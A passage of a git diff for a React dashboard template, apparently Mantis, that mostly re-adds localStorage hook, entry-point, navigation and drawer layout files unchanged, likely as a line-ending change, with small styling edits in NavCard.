setField = useCallback((key, value) => { - setState((prev) => ({ - ...prev, - [key]: value - })); - }, []); - - // Reset to defaults - const resetState = useCallback(() => { - setState(defaultValue); - localStorage.setItem(key, JSON.stringify(defaultValue)); - }, [defaultValue, key]); - - return { state, setState, setField, resetState }; -} +import { useState, useEffect, useCallback } from 'react'; + +// ==============================|| LOCAL STORAGE HOOKS ||============================== // + +export function useLocalStorage(key, defaultValue) { + // Load initial state from localStorage or fallback to default + const readValue = () => { + if (typeof window === 'undefined') return defaultValue; + + try { + const item = localStorage.getItem(key); + return item ? JSON.parse(item) : defaultValue; + } catch (err) { + console.warn(`Error reading localStorage key β€œ${key}”:`, err); + return defaultValue; + } + }; + + const [state, setState] = useState(readValue); + + // Sync to localStorage whenever state changes + useEffect(() => { + try { + localStorage.setItem(key, JSON.stringify(state)); + } catch (err) { + console.warn(`Error setting localStorage key β€œ${key}”:`, err); + } + }, [key, state]); + + // Update single field + const setField = useCallback((key, value) => { + setState((prev) => ({ + ...prev, + [key]: value + })); + }, []); + + // Reset to defaults + const resetState = useCallback(() => { + setState(defaultValue); + localStorage.setItem(key, JSON.stringify(defaultValue)); + }, [defaultValue, key]); + + return { state, setState, setField, resetState }; +} diff --git a/src/index.jsx b/src/index.jsx index c81b22956..1ee7b5238 100644 --- a/src/index.jsx +++ b/src/index.jsx @@ -1,37 +1,37 @@ -import { createRoot } from 'react-dom/client'; - -// style.scss -import 'assets/style.css'; - -// scroll bar -import 'simplebar-react/dist/simplebar.min.css'; - -// apex-chart -import 'assets/third-party/apex-chart.css'; -import 'assets/third-party/react-table.css'; - -import '@fontsource/public-sans/400.css'; -import '@fontsource/public-sans/500.css'; -import '@fontsource/public-sans/600.css'; -import '@fontsource/public-sans/700.css'; - -// project imports -import App from './App'; -import { ConfigProvider } from 'contexts/ConfigContext'; -import reportWebVitals from './reportWebVitals'; - -const container = document.getElementById('root'); -const root = createRoot(container); - -// ==============================|| MAIN - REACT DOM RENDER ||============================== // - -root.render( - <ConfigProvider> - <App /> - </ConfigProvider> -); - -// If you want to start measuring performance in your app, pass a function -// to log results (for example: reportWebVitals(console.log)) -// or send to an analytics endpoint. Learn more: https://bit.ly/CRA-vitals -reportWebVitals(); +import { createRoot } from 'react-dom/client'; + +// style.scss +import 'assets/style.css'; + +// scroll bar +import 'simplebar-react/dist/simplebar.min.css'; + +// apex-chart +import 'assets/third-party/apex-chart.css'; +import 'assets/third-party/react-table.css'; + +import '@fontsource/public-sans/400.css'; +import '@fontsource/public-sans/500.css'; +import '@fontsource/public-sans/600.css'; +import '@fontsource/public-sans/700.css'; + +// project imports +import App from './App'; +import { ConfigProvider } from 'contexts/ConfigContext'; +import reportWebVitals from './reportWebVitals'; + +const container = document.getElementById('root'); +const root = createRoot(container); + +// ==============================|| MAIN - REACT DOM RENDER ||============================== // + +root.render( + <ConfigProvider> + <App /> + </ConfigProvider> +); + +// If you want to start measuring performance in your app, pass a function +// to log results (for example: reportWebVitals(console.log)) +// or send to an analytics endpoint. Learn more: https://bit.ly/CRA-vitals +reportWebVitals(); diff --git a/src/layout/Auth/index.jsx b/src/layout/Auth/index.jsx index 757030204..cd02adb33 100644 --- a/src/layout/Auth/index.jsx +++ b/src/layout/Auth/index.jsx @@ -1,11 +1,11 @@ -import { Outlet } from 'react-router-dom'; - -// ==============================|| LAYOUT - AUTH ||============================== // - -export default function AuthLayout() { - return ( - <> - <Outlet /> - </> - ); -} +import { Outlet } from 'react-router-dom'; + +// ==============================|| LAYOUT - AUTH ||============================== // + +export default function AuthLayout() { + return ( + <> + <Outlet /> + </> + ); +} diff --git a/src/layout/Dashboard/Drawer/DrawerContent/NavCard.jsx b/src/layout/Dashboard/Drawer/DrawerContent/NavCard.jsx index 5c70eec75..9095d0f25 100644 --- a/src/layout/Dashboard/Drawer/DrawerContent/NavCard.jsx +++ b/src/layout/Dashboard/Drawer/DrawerContent/NavCard.jsx @@ -1,36 +1,36 @@ -// material-ui -import Button from '@mui/material/Button'; -import CardMedia from '@mui/material/CardMedia'; -import Link from '@mui/material/Link'; -import Stack from '@mui/material/Stack'; -import Typography from '@mui/material/Typography'; - -// project import -import MainCard from 'components/MainCard'; - -// assets -import avatar from 'assets/images/users/avatar-group.png'; -import AnimateButton from 'components/@extended/AnimateButton'; - -// ==============================|| DRAWER CONTENT - NAVIGATION CARD ||============================== // - -export default function NavCard() { - return ( - <MainCard sx={{ bgcolor: 'grey.50', m: 3 }}> - <Stack alignItems="center" spacing={2.5}> - <CardMedia component="img" image={avatar} sx={{ width: 112 }} /> - <Stack alignItems="center"> - <Typography variant="h5">Mantis Pro</Typography> - <Typography variant="h6" color="secondary"> - Checkout pro features - </Typography> - </Stack> - <AnimateButton> - <Button component={Link} target="_blank" href="https://mantisdashboard.com" variant="contained" color="success" size="small"> - Pro - </Button> - </AnimateButton> - </Stack> - </MainCard> - ); -} +// material-ui +import Button from '@mui/material/Button'; +import CardMedia from '@mui/material/CardMedia'; +import Link from '@mui/material/Link'; +import Stack from '@mui/material/Stack'; +import Typography from '@mui/material/Typography'; + +// project import +import MainCard from 'components/MainCard'; + +// assets +import avatar from 'assets/images/users/avatar-group.png'; +import AnimateButton from 'components/@extended/AnimateButton'; + +// ==============================|| DRAWER CONTENT - NAVIGATION CARD ||============================== // + +export default function NavCard() { + return ( + <MainCard sx={{ bgcolor: 'grey.50', m: 3 }}> + <Stack spacing={2.5} sx={{ alignItems: 'center' }}> + <CardMedia component="img" image={avatar} sx={{ width: 112 }} /> + <Stack sx={{ alignItems: 'center' }}> + <Typography variant="h5">Mantis Pro</Typography> + <Typography variant="h6" color="secondary"> + Checkout pro features + </Typography> + </Stack> + <AnimateButton> + <Button component={Link} target="_blank" href="https://mantisdashboard.com" variant="contained" color="success" size="small"> + Pro + </Button> + </AnimateButton> + </Stack> + </MainCard> + ); +} diff --git a/src/layout/Dashboard/Drawer/DrawerContent/Navigation/NavGroup.jsx b/src/layout/Dashboard/Drawer/DrawerContent/Navigation/NavGroup.jsx index 97476698b..2c107e2ae 100644 --- a/src/layout/Dashboard/Drawer/DrawerContent/Navigation/NavGroup.jsx +++ b/src/layout/Dashboard/Drawer/DrawerContent/Navigation/NavGroup.jsx @@ -1,56 +1,56 @@ -import PropTypes from 'prop-types'; -// material-ui -import List from '@mui/material/List'; -import Typography from '@mui/material/Typography'; -import Box from '@mui/material/Box'; - -// project import -import NavItem from './NavItem'; -import { useGetMenuMaster } from 'api/menu'; - -// ==============================|| NAVIGATION - LIST GROUP ||============================== // - -export default function NavGroup({ item }) { - const { menuMaster } = useGetMenuMaster(); - const drawerOpen = menuMaster.isDashboardDrawerOpened; - - const navCollapse = item.children?.map((menuItem) => { - switch (menuItem.type) { - case 'collapse': - return ( - <Typography key={menuItem.id} variant="caption" color="error" sx={{ p: 2.5 }}> - collapse - only available in paid version - </Typography> - ); - case 'item': - return <NavItem key={menuItem.id} item={menuItem} level={1} />; - default: - return ( - <Typography key={menuItem.id} variant="h6" color="error" align="center"> - Fix - Group Collapse or Items - </Typography> - ); - } - }); - - return ( - <List - subheader={ - item.title && - drawerOpen && ( - <Box sx={{ pl: 3, mb: 1.5 }}> - <Typography variant="subtitle2" color="textSecondary"> - {item.title} - </Typography> - {/* only available in paid version */} - </Box> - ) - } - sx={{ mb: drawerOpen ? 1.5 : 0, py: 0, zIndex: 0 }} - > - {navCollapse} - </List> - ); -} - -NavGroup.propTypes = { item: PropTypes.object }; +import PropTypes from 'prop-types'; +// material-ui +import List from '@mui/material/List'; +import Typography from '@mui/material/Typography'; +import Box from '@mui/material/Box'; + +// project import +import NavItem from './NavItem'; +import { useGetMenuMaster } from 'api/menu'; + +// ==============================|| NAVIGATION - LIST GROUP ||============================== // + +export default function NavGroup({ item }) { + const { menuMaster } = useGetMenuMaster(); + const drawerOpen = menuMaster.isDashboardDrawerOpened; + + const navCollapse = item.children?.map((menuItem) => { + switch (menuItem.type) { + case 'collapse': + return ( + <Typography key={menuItem.id} variant="caption" color="error" sx={{ p: 2.5 }}> + collapse - only available in paid version + </Typography> + ); + case 'item': + return <NavItem key={menuItem.id} item={menuItem} level={1} />; + default: + return ( + <Typography key={menuItem.id} variant="h6" color="error" align="center"> + Fix - Group Collapse or Items + </Typography> + ); + } + }); + + return ( + <List + subheader={ + item.title && + drawerOpen && ( + <Box sx={{ pl: 3, mb: 1.5 }}> + <Typography variant="subtitle2" color="textSecondary"> + {item.title} + </Typography> + {/* only available in paid version */} + </Box> + ) + } + sx={{ mb: drawerOpen ? 1.5 : 0, py: 0, zIndex: 0 }} + > + {navCollapse} + </List> + ); +} + +NavGroup.propTypes = { item: PropTypes.object }; diff --git a/src/layout/Dashboard/Drawer/DrawerContent/Navigation/NavItem.jsx b/src/layout/Dashboard/Drawer/DrawerContent/Navigation/NavItem.jsx index 85b60ee26..64a0f7566 100644 --- a/src/layout/Dashboard/Drawer/DrawerContent/Navigation/NavItem.jsx +++ b/src/layout/Dashboard/Drawer/DrawerContent/Navigation/NavItem.jsx @@ -1,179 +1,179 @@ -import PropTypes from 'prop-types'; -import { Link, useLocation, matchPath } from 'react-router-dom'; - -// material-ui -import useMediaQuery from '@mui/material/useMediaQuery'; -import Avatar from '@mui/material/Avatar'; -import Chip from '@mui/material/Chip'; -import ListItemButton from '@mui/material/ListItemButton'; -import ListItemIcon from '@mui/material/ListItemIcon'; -import ListItemText from '@mui/material/ListItemText'; -import Typography from '@mui/material/Typography'; -import Box from '@mui/material/Box'; - -// project imports -import IconButton from 'components/@extended/IconButton'; - -import { handlerDrawerOpen, useGetMenuMaster } from 'api/menu'; - -// ==============================|| NAVIGATION - LIST ITEM ||============================== // - -export default function NavItem({ item, level, isParents = false, setSelectedID }) { - const { menuMaster } = useGetMenuMaster(); - const drawerOpen = menuMaster.isDashboardDrawerOpened; - - const downLG = useMediaQuery((theme) => theme.breakpoints.down('lg')); - - let itemTarget = '_self'; - if (item.target) { - itemTarget = '_blank'; - } - - const itemHandler = () => { - if (downLG) handlerDrawerOpen(false); - - if (isParents && setSelectedID) { - setSelectedID(item.id); - } - }; - - const Icon = item.icon; - const itemIcon = item.icon ? ( - <Icon - style={{ - fontSize: drawerOpen ? '1rem' : '1.25rem', - ...(isParents && { fontSize: 20, stroke: '1.5' }) - }} - /> - ) : ( - false - ); - - const { pathname } = useLocation(); - const isSelected = !!matchPath({ path: item?.link ? item.link : item.url, end: false }, pathname); - - const textColor = 'text.primary'; - const iconSelectedColor = 'primary.main'; - - return ( - <> - <Box sx={{ position: 'relative' }}> - <ListItemButton - component={Link} - to={item.url} - target={itemTarget} - disabled={item.disabled} - selected={isSelected} - sx={(theme) => ({ - zIndex: 1201, - pl: drawerOpen ? `${level * 28}px` : 1.5, - py: !drawerOpen && level === 1 ? 1.25 : 1, - ...(drawerOpen && { - '&:hover': { bgcolor: 'primary.lighter' }, - '&.Mui-selected': { - bgcolor: 'primary.lighter', - borderRight: '2px solid', - borderColor: 'primary.main', - color: iconSelectedColor, - '&:hover': { color: iconSelectedColor, bgcolor: 'primary.lighter' } - } - }), - ...(!drawerOpen && { - '&:hover': { bgcolor: 'transparent' }, - '&.Mui-selected': { '&:hover': { bgcolor: 'transparent' }, bgcolor: 'transparent' } - }) - })} - onClick={() => itemHandler()} - > - {itemIcon && ( - <ListItemIcon - sx={(theme) => ({ - minWidth: 28, - color: isSelected ? iconSelectedColor : textColor, - ...(!drawerOpen && { - borderRadius: 1.5, - width: 36, - height: 36, - alignItems: 'center', - justifyContent: 'center', - '&:hover': { bgcolor: 'secondary.lighter' } - }), - ...(!drawerOpen && - isSelected && { - bgcolor: 'primary.lighter', - '&:hover': { bgcolor: 'primary.lighter' } - }) - })} - > - {itemIcon} - </ListItemIcon> - )} - {(drawerOpen || (!drawerOpen && level !== 1)) && ( - <ListItemText - primary={ - <Typography variant="h6" sx={{ color: isSelected ? iconSelectedColor : textColor }}> - {item.title} - </Typography> - } - /> - )} - {(drawerOpen || (!drawerOpen && level !== 1)) && item.chip && ( - <Chip - color={item.chip.color} - variant={item.chip.variant} - size={item.chip.size} - label={item.chip.label} - avatar={item.chip.avatar && <Avatar>{item.chip.avatar}</Avatar>} - /> - )} - </ListItemButton> - {(drawerOpen || (!drawerOpen && level !== 1)) && - item?.actions && - item?.actions.map((action, index) => { - const ActionIcon = action.icon; - const callAction = action?.function; - return ( - <IconButton - key={index} - {...(action.type === 'function' && { - onClick: (event) => { - event.stopPropagation(); - callAction(); - } - })} - {...(action.type === 'link' && { - component: Link, - to: action.url, - target: action.target ? '_blank' : '_self' - })} - color="secondary" - variant="outlined" - sx={{ - position: 'absolute', - top: 12, - right: 20, - zIndex: 1202, - width: 20, - height: 20, - mr: -1, - ml: 1, - color: 'secondary.dark', - borderColor: isSelected ? 'primary.light' : 'secondary.light', - '&:hover': { borderColor: isSelected ? 'primary.main' : 'secondary.main' } - }} - > - <ActionIcon style={{ fontSize: '0.625rem' }} /> - </IconButton> - ); - })} - </Box> - </> - ); -} - -NavItem.propTypes = { - item: PropTypes.any, - level: PropTypes.number, - isParents: PropTypes.bool, - setSelectedID: PropTypes.oneOfType([PropTypes.any, PropTypes.func]) -}; +import PropTypes from 'prop-types'; +import { Link, useLocation, matchPath } from 'react-router-dom'; + +// material-ui +import useMediaQuery from '@mui/material/useMediaQuery'; +import Avatar from '@mui/material/Avatar'; +import Chip from '@mui/material/Chip'; +import ListItemButton from '@mui/material/ListItemButton'; +import ListItemIcon from '@mui/material/ListItemIcon'; +import ListItemText from '@mui/material/ListItemText'; +import Typography from '@mui/material/Typography'; +import Box from '@mui/material/Box'; + +// project imports +import IconButton from 'components/@extended/IconButton'; + +import { handlerDrawerOpen, useGetMenuMaster } from 'api/menu'; + +// ==============================|| NAVIGATION - LIST ITEM ||============================== // + +export default function NavItem({ item, level, isParents = false, setSelectedID }) { + const { menuMaster } = useGetMenuMaster(); + const drawerOpen = menuMaster.isDashboardDrawerOpened; + + const downLG = useMediaQuery((theme) => theme.breakpoints.down('lg')); + + let itemTarget = '_self'; + if (item.target) { + itemTarget = '_blank'; + } + + const itemHandler = () => { + if (downLG) handlerDrawerOpen(false); + + if (isParents && setSelectedID) { + setSelectedID(item.id); + } + }; + + const Icon = item.icon; + const itemIcon = item.icon ? ( + <Icon + style={{ + fontSize: drawerOpen ? '1rem' : '1.25rem', + ...(isParents && { fontSize: 20, stroke: '1.5' }) + }} + /> + ) : ( + false + ); + + const { pathname } = useLocation(); + const isSelected = !!matchPath({ path: item?.link ? item.link : item.url, end: false }, pathname); + + const textColor = 'text.primary'; + const iconSelectedColor = 'primary.main'; + + return ( + <> + <Box sx={{ position: 'relative' }}> + <ListItemButton + component={Link} + to={item.url} + target={itemTarget} + disabled={item.disabled} + selected={isSelected} + sx={(theme) => ({ + zIndex: 1201, + pl: drawerOpen ? `${level * 28}px` : 1.5, + py: !drawerOpen && level === 1 ? 1.25 : 1, + ...(drawerOpen && { + '&:hover': { bgcolor: 'primary.lighter' }, + '&.Mui-selected': { + bgcolor: 'primary.lighter', + borderRight: '2px solid', + borderColor: 'primary.main', + color: iconSelectedColor, + '&:hover': { color: iconSelectedColor, bgcolor: 'primary.lighter' } + } + }), + ...(!drawerOpen && { + '&:hover': { bgcolor: 'transparent' }, + '&.Mui-selected': { '&:hover': { bgcolor: 'transparent' }, bgcolor: 'transparent' } + }) + })} + onClick={() => itemHandler()} + > + {itemIcon && ( + <ListItemIcon + sx={(theme) => ({ + minWidth: 28, + color: isSelected ? iconSelectedColor : textColor, + ...(!drawerOpen && { + borderRadius: 1.5, + width: 36, + height: 36, + alignItems: 'center', + justifyContent: 'center', + '&:hover': { bgcolor: 'secondary.lighter' } + }), + ...(!drawerOpen && + isSelected && { + bgcolor: 'primary.lighter', + '&:hover': { bgcolor: 'primary.lighter' } + }) + })} + > + {itemIcon} + </ListItemIcon> + )} + {(drawerOpen || (!drawerOpen && level !== 1)) && ( + <ListItemText + primary={ + <Typography variant="h6" sx={{ color: isSelected ? iconSelectedColor : textColor }}> + {item.title} + </Typography> + } + /> + )} + {(drawerOpen || (!drawerOpen && level !== 1)) && item.chip && ( + <Chip + color={item.chip.color} + variant={item.chip.variant} + size={item.chip.size} + label={item.chip.label} + avatar={item.chip.avatar && <Avatar>{item.chip.avatar}</Avatar>} + /> + )} + </ListItemButton> + {(drawerOpen || (!drawerOpen && level !== 1)) && + item?.actions && + item?.actions.map((action, index) => { + const ActionIcon = action.icon; + const callAction = action?.function; + return ( + <IconButton + key={index} + {...(action.type === 'function' && { + onClick: (event) => { + event.stopPropagation(); + callAction(); + } + })} + {...(action.type === 'link' && { + component: Link, + to: action.url, + target: action.target ? '_blank' : '_self' + })} + color="secondary" + variant="outlined" + sx={{ + position: 'absolute', + top: 12, + right: 20, + zIndex: 1202, + width: 20, + height: 20, + mr: -1, + ml: 1, + color: 'secondary.dark', + borderColor: isSelected ? 'primary.light' : 'secondary.light', + '&:hover': { borderColor: isSelected ? 'primary.main' : 'secondary.main' } + }} + > + <ActionIcon style={{ fontSize: '0.625rem' }} /> + </IconButton> + ); + })} + </Box> + </> + ); +} + +NavItem.propTypes = { + item: PropTypes.any, + level: PropTypes.number, + isParents: PropTypes.bool, + setSelectedID: PropTypes.oneOfType([PropTypes.any, PropTypes.func]) +}; diff --git a/src/layout/Dashboard/Drawer/DrawerContent/Navigation/index.jsx b/src/layout/Dashboard/Drawer/DrawerContent/Navigation/index.jsx index 765054812..b9e927ba6 100644 --- a/src/layout/Dashboard/Drawer/DrawerContent/Navigation/index.jsx +++ b/src/layout/Dashboard/Drawer/DrawerContent/Navigation/index.jsx @@ -1,26 +1,26 @@ -// material-ui -import Typography from '@mui/material/Typography'; -import Box from '@mui/material/Box'; - -// project import -import NavGroup from './NavGroup'; -import menuItem from 'menu-items'; - -// ==============================|| DRAWER CONTENT - NAVIGATION ||============================== // - -export default function Navigation() { - const navGroups = menuItem.items.map((item) => { - switch (item.type) { - case 'group': - return <NavGroup key={item.id} item={item} />; - default: - return ( - <Typography key={item.id} variant="h6" color="error" align="center"> - Fix - Navigation Group - </Typography> - ); - } - }); - - return <Box sx={{ pt: 2 }}>{navGroups}</Box>; -} +// material-ui +import Typography from '@mui/material/Typography'; +import Box from '@mui/material/Box'; + +// project import +import NavGroup from './NavGroup'; +import menuItem from 'menu-items'; + +// ==============================|| DRAWER CONTENT - NAVIGATION ||============================== // + +export default function Navigation() { + const navGroups = menuItem.items.map((item) => { + switch (item.type) { + case 'group': + return <NavGroup key={item.id} item={item} />; + default: + return ( + <Typography key={item.id} variant="h6" color="error" align="center"> + Fix - Navigation Group + </Typography> + ); + } + }); + + return <Box sx={{ pt: 2 }}>{navGroups}</Box>; +} diff --git a/src/layout/Dashboard/Drawer/DrawerContent/index.jsx b/src/layout/Dashboard/Drawer/DrawerContent/index.jsx index 8ddcb7b5e..4b286459c 100644 --- a/src/layout/Dashboard/Drawer/DrawerContent/index.jsx +++ b/src/layout/Dashboard/Drawer/DrawerContent/index.jsx @@ -1,21 +1,21 @@ -// project imports -import NavCard from './NavCard'; -import Navigation from './Navigation'; -import SimpleBar from 'components/third-party/SimpleBar'; -import { useGetMenuMaster } from 'api/menu'; - -// ==============================|| DRAWER CONTENT ||============================== // - -export default function DrawerContent() { - const { menuMaster } = useGetMenuMaster(); - const drawerOpen = menuMaster.isDashboardDrawerOpened; - - return ( - <> - <SimpleBar sx={{ '& .simplebar-content': { display: 'flex', flexDirection: 'column' } }}> - <Navigation /> - {drawerOpen && <NavCard />} - </SimpleBar> - </> - ); -} +// project imports +import NavCard from './NavCard'; +import Navigation from './Navigation'; +import SimpleBar from 'components/third-party/SimpleBar'; +import { useGetMenuMaster } from 'api/menu'; + +// ==============================|| DRAWER CONTENT ||============================== // + +export default function DrawerContent() { + const { menuMaster } = useGetMenuMaster(); + const drawerOpen = menuMaster.isDashboardDrawerOpened; + + return ( + <> + <SimpleBar sx={{ '& .simplebar-content': { display: 'flex', flexDirection: 'column' } }}> + <Navigation /> + {drawerOpen && <NavCard />} + </SimpleBar> + </> + ); +} diff --git a/src/layout/Dashboard/Drawer/DrawerHeader/DrawerHeaderStyled.js b/src/layout/Dashboard/Drawer/DrawerHeader/DrawerHeaderStyled.js index cb2503fcb..ce34f8325 100644 --- a/src/layout/Dashboard/Drawer/DrawerHeader/DrawerHeaderStyled.js +++ b/src/layout/Dashboard/Drawer/DrawerHeader/DrawerHeaderStyled.js @@ -1,21 +1,21 @@ -// material-ui -import { styled } from '@mui/material/styles'; -import Box from '@mui/material/Box'; - -// ==============================|| DRAWER HEADER - STYLED ||============================== // - -const DrawerHeaderStyled = styled(Box, { shouldForwardProp: (prop) => prop !== 'open' })(({ theme }) => ({ - ...theme.mixins.toolbar, - display: 'flex', - alignItems: 'center', - justifyContent: 'center', - paddingLeft: theme.spacing(0), - variants: [ - { - props: ({ open }) => open, - style: { justifyContent: 'flex-start', paddingLeft: theme.spacing(3) } - } - ] -})); - -export default DrawerHeaderStyled; +// material-ui +import { styled } from '@mui/material/styles'; +import Box from '@mui/material/Box'; + +// ==============================|| DRAWER HEADER - STYLED ||============================== // + +const DrawerHeaderStyled = styled(Box, { shouldForwardProp: (prop) => prop !== 'open' })(({ theme }) => ({ + ...theme.mixins.toolbar, + display: 'flex', + alignItems: 'center', + justifyContent: 'center', + paddingLeft: theme.spacing(0), + variants: [ + { + props: ({ open }) => open, + style: { justifyContent: 'flex-start', paddingLeft: theme.spacing(3) } + } + ] +})); + +export default DrawerHeaderStyled; diff --git a/src/layout/Dashboard/Drawer/DrawerHeader/index.jsx b/src/layout/Dashboard/Drawer/DrawerHeader/index.jsx index 859866b73..b825dd93d 100644 --- a/src/layout/Dashboard/Drawer/DrawerHeader/index.jsx +++ b/src/layout/Dashboard/Drawer/DrawerHeader/index.jsx @@ -1,26 +1,26 @@ -import PropTypes from 'prop-types'; - -// project imports -import DrawerHeaderStyled from './DrawerHeaderStyled'; -import Logo from 'components/logo'; - -// ==============================|| DRAWER HEADER ||============================== // - -export default function DrawerHeader({ open }) { - return ( - <DrawerHeaderStyled - open={open} - sx={{ - minHeight: '60px', - width: 'initial', - paddingTop: '8px', - paddingBottom: '8px', - paddingLeft: open ? '24px' : 0 - }} - > - <Logo isIcon={!open} sx={{ width: open ? 'auto' : 35, height: 35 }} /> - </DrawerHeaderStyled> - ); -} - -DrawerHeader.propTypes = { open: PropTypes.bool }; +import PropTypes from 'prop-types'; + +// project imports +import DrawerHeaderStyled from './DrawerHeaderStyled'; +import Logo from 'components/logo'; + +// ==============================|| DRAWER HEADER ||============================== // + +export default function DrawerHeader({ open }) { + return ( + <DrawerHeaderStyled + open={open} + sx={{ + minHeight: '60px', + width: 'initial', + paddingTop: '8px', + paddingBottom: '8px', + paddingLeft: open ? '24px' : 0 + }} + > + <Logo isIcon={!open} sx={{ width: open ? 'auto' : 35, height: 35 }} /> + </DrawerHeaderStyled> + ); +} + +DrawerHeader.propTypes = { open: PropTypes.bool }; diff --git a/src/layout/Dashboard/Drawer/MiniDrawerStyled.js b/src/layout/Dashboard/Drawer/MiniDrawerStyled.js index b4c8dcd8b..db29bc135 100644 --- a/src/layout/Dashboard/Drawer/MiniDrawerStyled.js +++ b/src/layout/Dashboard/Drawer/MiniDrawerStyled.js @@ -1,53 +1,53 @@ -// material-ui -import { styled } from '@mui/material/styles'; -import Drawer from '@mui/material/Drawer'; - -// project imports -import { DRAWER_WIDTH } from 'config'; - -const openedMixin = (theme) => ({ - width: DRAWER_WIDTH, - borderRight: '1px solid', - borderRightColor: theme.vars.palette.divider, - - transition: theme.transitions.create('width', { - easing: theme.transitions.easing.sharp, - duration: theme.transitions.duration.enteringScreen - }), - - overflowX: 'hidden', - boxShadow: 'none' -}); - -const closedMixin = (theme) => ({ - transition: theme.transitions.create('width', { - easing: theme.transitions.easing.sharp, - duration: theme.transitions.duration.leavingScreen - }), - - overflowX: 'hidden', - width: theme.spacing(7.5), - borderRight: 'none', - boxShadow: theme.vars.customShadows.z1 -}); - -// ==============================|| DRAWER - MINI STYLED ||============================== // - -const MiniDrawerStyled = styled(Drawer, { shouldForwardProp: (prop) => prop !== 'open' })(({ theme }) => ({ - width: DRAWER_WIDTH, - flexShrink: 0, - whiteSpace: 'nowrap', - boxSizing: 'border-box', - variants: [ - { - props: ({ open }) => open, - style: { ...openedMixin(theme), '& .MuiDrawer-paper': openedMixin(theme) } - }, - { - props: ({ open }) => !open, - style: { ...closedMixin(theme), '& .MuiDrawer-paper': closedMixin(theme) } - } - ] -})); - -export default MiniDrawerStyled; +// material-ui +import { styled } from '@mui/material/styles'; +import Drawer from '@mui/material/Drawer'; + +// project imports +import { DRAWER_WIDTH } from 'config'; + +const openedMixin = (theme) => ({ + width: DRAWER_WIDTH, + borderRight: '1px solid', + borderRightColor: theme.vars.palette.divider, + + transition: theme.transitions.create('width', { + easing: theme.transitions.easing.sharp, + duration: theme.transitions.duration.enteringScreen + }), + + overflowX: 'hidden', + boxShadow: 'none' +}); + +const closedMixin = (theme) => ({ + transition: theme.transitions.create('width', { + easing: theme.transitions.easing.sharp, + duration: theme.transitions.duration.leavingScreen + }), + + overflowX: 'hidden', + width: theme.spacing(7.5), + borderRight: 'none', + boxShadow: theme.vars.customShadows.z1 +}); + +// ==============================|| DRAWER - MINI STYLED ||============================== // + +const MiniDrawerStyled = styled(Drawer, { shouldForwardProp: (prop) => prop !== 'open' })(({ theme }) => ({ + width: DRAWER_WIDTH, + flexShrink: 0, + whiteSpace: 'nowrap', + boxSizing: 'border-box', + variants: [ + { + props: ({ open }) => open, + style: { ...openedMixin(theme), '& .MuiDrawer-paper': openedMixin(theme) } + }, + { + props: ({ open }) => !open, + style: { ...closedMixin(theme), '& .MuiDrawer-paper': closedMixin(theme) } + } + ] +})); + +export default MiniDrawerStyled; diff --git a/src/layout/Dashboard/Drawer/index.jsx b/src/layout/Dashboard/Drawer/index.jsx index 11a28c2d2..1880833f9 100644 --- a/src/layout/Dashboard/Drawer/index.jsx +++ b/src/layout/Dashboard/Drawer/index.jsx @@ -1,65 +1,65 @@ -import PropTypes from 'prop-types'; -import { useMemo } from 'react'; - -import useMediaQuery from '@mui/material/useMediaQuery'; -import Drawer from '@mui/material/Drawer'; -import Box from '@mui/material/Box'; - -// project imports -import DrawerHeader from './DrawerHeader'; -import DrawerContent from './DrawerContent'; -import MiniDrawerStyled from './MiniDrawerStyled'; - -import { DRAWER_WIDTH } from 'config'; -import { handlerDrawerOpen, useGetMenuMaster } from 'api/menu'; - -// ==============================|| MAIN LAYOUT - DRAWER ||============================== // - -export default function MainDrawer({ window }) { - const { menuMaster } = useGetMenuMaster(); - const drawerOpen = menuMaster.isDashboardDrawerOpened; - const downLG = useMediaQuery((theme) => theme.breakpoints.down('lg')); - - // responsive drawer container - const container = window !== undefined ? () => window().document.body : undefined; - - // header content - const drawerContent = useMemo(() => <DrawerContent />, []); - const drawerHeader = useMemo(() => <DrawerHeader open={drawerOpen} />, [drawerOpen]); - - return ( - <Box component="nav" sx={{ flexShrink: { md: 0 }, zIndex: 1200 }} aria-label="mailbox folders"> - {!downLG ? ( - <MiniDrawerStyled variant="permanent" open={drawerOpen}> - {drawerHeader} - {drawerContent} - </MiniDrawerStyled> - ) : ( - <Drawer - container={container} - variant="temporary" - open={drawerOpen} - onClose={() => handlerDrawerOpen(!drawerOpen)} - ModalProps={{ keepMounted: true }} - sx={{ display: { xs: drawerOpen ? 'block' : 'none', lg: 'none' } }} - slotProps={{ - paper: { - sx: { - boxSizing: 'border-box', - width: DRAWER_WIDTH, - borderRight: '1px solid', - borderRightColor: 'divider', - boxShadow: 'inherit' - } - } - }} - > - {drawerHeader} - {drawerContent} - </Drawer> - )} - </Box> - ); -} - -MainDrawer.propTypes = { window: PropTypes.func }; +import PropTypes from 'prop-types'; +import { useMemo } from 'react'; + +import useMediaQuery from '@mui/material/useMediaQuery'; +import Drawer from '@mui/material/Drawer'; +import Box from '@mui/material/Box'; + +// project imports +import DrawerHeader from './DrawerHeader'; +import DrawerContent from './DrawerContent'; +import MiniDrawerStyled from './MiniDrawerStyled'; + +import { DRAWER_WIDTH } from 'config'; +import { handlerDrawerOpen, useGetMenuMaster } from 'api/menu'; + +// ==============================|| MAIN LAYOUT - DRAWER ||============================== // + +export default function MainDrawer({ window }) { + const { menuMaster } = useGetMenuMaster(); + const drawerOpen = menuMaster.isDashboardDrawerOpened; + const downLG = useMediaQuery((theme) => theme.breakpoints.down('lg')); + + // responsive drawer container + const container = window !== undefined ? () => window().document.body : undefined; + + // header content + const drawerContent = useMemo(() => <DrawerContent />, []); + const drawerHeader = useMemo(() => <DrawerHeader open={drawerOpen} />, [drawerOpen]); + + return ( + <Box component="nav" sx={{ flexShrink: { md: 0 }, zIndex: 1200 }} aria-label="mailbox folders"> + {!downLG ? ( + <MiniDrawerStyled variant="permanent" open={drawerOpen}> + {drawerHeader} + {drawerContent} + </MiniDrawerStyled> + ) : ( + <Drawer + container={container} + variant="temporary" + open={drawerOpen} + onClose={() => handlerDrawerOpen(!drawerOpen)} + ModalProps={{ keepMounted: true }} + sx={{ display: { xs: drawerOpen ? 'block' : 'none', lg: 'none' } }} + slotProps={{ + paper: { + sx: { + boxSizing: 'border-box', + width: DRAWER_WIDTH, + borderRight: '1px solid', + borderRightColor: 'divider', + boxShadow: 'inherit' + } + } + }} + > + {drawerHeader} + {drawerContent} + </Drawer> + )} + </Box> + ); +} + +MainDrawer.propTypes = { window: PropTypes.func }; diff --git a/src/layout/Dashboard/Footer.jsx b/src/layout/Dashboard/Footer.jsx index 1890ccddf..c3dfefa92 100644 --- a/src/layout/Dashboard/Footer.jsx +++ b/src/layout/Dashboard/Footer.jsx @@ -1,34 +1,34 @@ -// material-ui 